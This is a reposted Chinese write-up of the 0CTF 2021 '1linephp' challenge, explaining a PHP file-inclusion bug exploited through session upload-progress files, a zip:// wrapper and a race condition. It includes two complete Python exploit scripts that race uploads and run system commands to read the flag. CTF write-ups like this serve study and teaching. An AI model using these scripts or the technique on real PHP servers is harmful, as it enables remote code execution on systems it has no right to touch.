当前位置:   article > 正文

TCTF 1linephp_0ctf 2021 1linephp

0ctf 2021 1linephp

0x00. 参考文档
https://gist.github.com/as3617/50d598ede736d81bc57804e4d19700e5#file-s-zip-hexcode
https://github.com/waderwu/My-CTF-Challenges/blob/master/0ctf-2021/1linephp/writeup/1linephp_writeup_en.md
有点像defcon-2018 one_line_php

0x01.源码及原理

<?php
($_=@$_GET['yxxx'].'.php') && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.html');
  • 1
  • 2

phpinfo中
在这里插入图片描述session.upload_progress.enable on
可以利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
session.upload_progress.cleanup会自动清理session,需要条件竞争
https://www.freebuf.com/vuls/202819.html
在这里插入图片描述session.use_strict_mode值为0时。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。(也可能在/var/lib/php目录下)即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。
所以可以通过上传一个很大的文件来进行条件竞争,同时post PHP_SESSION_UPLOAD_PROGRESS=webshell然后连接

0x02.具体解题步骤
源码非常简单,get传入参数后会拼接.php,然后包含该文件,试了data协议和phar协议,都不太能用,后来发现使用zip伪协议很方便
例如构造zip://tmp/sess_xxxx#1.php可以直接读到1.zip打包中的1.php文件
这里需要将zip的内容通过PHP_SESSION_UPLOAD_PROGRESS传进session的临时文件中,然后通过条件竞争利用zip伪协议访问该sess_xxxx#shell并传入命令执行的参数

非预期:
zip的前16个字节(upload_progress_⻓度为16)对php读zip没影响,删掉(改为00)然后竞争即可
在这里插入图片描述

预期:
在这里插入图片描述已知php使用libzip解析zip包,此时对zip包的开头没有一定的要求,可以在前面插入数据,更改offset位,使zip被正常解析

0X03脚本
by Nu1L

import requests
import threading
host = 'http://111.186.59.2:50082'
PHPSESSID = 'qiyou'
def creatSession():
    while True:
        files = {
            "upload" : ("tmp.jpg", open("./1.jpg", "rb"))
        }
        data = {"PHP_SESSION_UPLOAD_PROGRESS" : open("./s.zip", "rb").read() }
        headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
        r = requests.post(host,files = files,headers = headers,data=data)
fileName ='zip:///tmp/sess_qiyou%23s&a=system&b=cat%20/dd810fc36330c200a_flag/flag'
if __name__ == '__main__':
    url = "{}/index.php?yxxx={}".format(host,fileName)
    headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
    t = threading.Thread(target=creatSession,args=())
    t.setDaemon(True)
    t.start()
    while True:
        res = requests.get(url,headers=headers)

        print(res.content)

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24

by as3617

import sys
import string
import requests
from base64 import b64encode
from random import sample, randint
from multiprocessing.dummy import Pool as ThreadPool

HOST = "http://111.186.59.2:50082/"

headers = {
    'Connection': 'close',
    'Cookie': 'PHPSESSID=12'
}
payload = open('./s.zip', 'rb').read()


def runner1(i):
    url = "http://111.186.59.2:50082/"
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': payload
    }
    while 1:
        fp = open('1.jpg', 'rb')
        r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
        fp.close()


def runner2(i):
    filename = '/tmp/sess_12%23s&a=system&b=cat%20/dd810fc36330c200a_flag/flag'
    filename = f'zip://%s' % filename
    # print filename
    while 1:
        url = '%s?yxxx=%s' % (HOST, filename)
        r = requests.get(url, headers=headers)
        c = r.text
        if c and 'yxxx' not in c:
            print(c)


if sys.argv[1] == '1':
    runner = runner1
else:
    runner = runner2

pool = ThreadPool(32)
result = pool.map_async(runner, range(32)).get(0xffff)

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/笔触狂放9/article/detail/74864
推荐阅读
相关标签
  

闽ICP备14008679号